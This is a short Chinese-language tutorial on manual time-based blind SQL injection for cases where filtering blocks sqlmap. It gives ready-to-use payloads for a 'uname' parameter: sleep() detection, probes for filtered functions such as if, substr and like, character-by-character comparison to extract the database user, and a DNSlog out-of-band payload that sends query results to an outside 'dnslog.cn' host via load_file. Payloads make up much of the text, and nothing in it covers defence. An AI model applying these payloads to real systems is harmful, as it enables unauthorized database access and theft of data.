SQL延时注入手工测试思路

确定了一个sql注入点存在延时注入,因为存在拦截或者过滤又没办法使用sqlmap等工具直接跑数据。那么用手工测试该如何去拿数据呢。

例如下面的uname参数存在延时注入

在uname参数值后面加上

'and(select*from(select+sleep(5))a)and'a'='

发现存在延时,可以基本确定这个点存在sql注入

使用手工测试的时候要首先确定一些函数有没有被拦截或者过滤

根据延时的时长来判断

测试if函数

'and(select*from(select+sleep(if(1=1,1,3)))a)and'a'='

测试user函数

'and(select*from(select+sleep(if(user()='a',1,3)))a)and'a'='

测试substr函数

'and(select*from(select+sleep(if(substr(user(),1,1)='a',1,3)))a)and'a'='

也可用mid,substring来替换substr函数测试

测试like

'and(select*from(select+sleep(if(user()+like+'a%25',1,3)))a)and'a'='

如果以上关键函数都被拦截了,想通过if截断的方法来测试应该比较困难了。还可以试下通过dnslog外带的方式把数据传出去

'and(select*from(select+sleep(load_file(concat('//',(select user()),'.xxx.dnslog.cn/abc'))))a)and'a'='

如果这样也不行也可以通过逐字母比较的方式来获取数据,就是手动比较慢,可以借助程序来执行。

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='

用如上payload的意思是比较用户名的第一位的ascii码是不是大于或者等于d的ascii码

比如拿select ‘root’>’ro’来说,因为它们两的前两位相等,会比较到第三位,root的第三位为o,而ro的第三位是空,所以root当然大于ro。

就这样从左到右依次比较ascii码也是可以拿到数据的。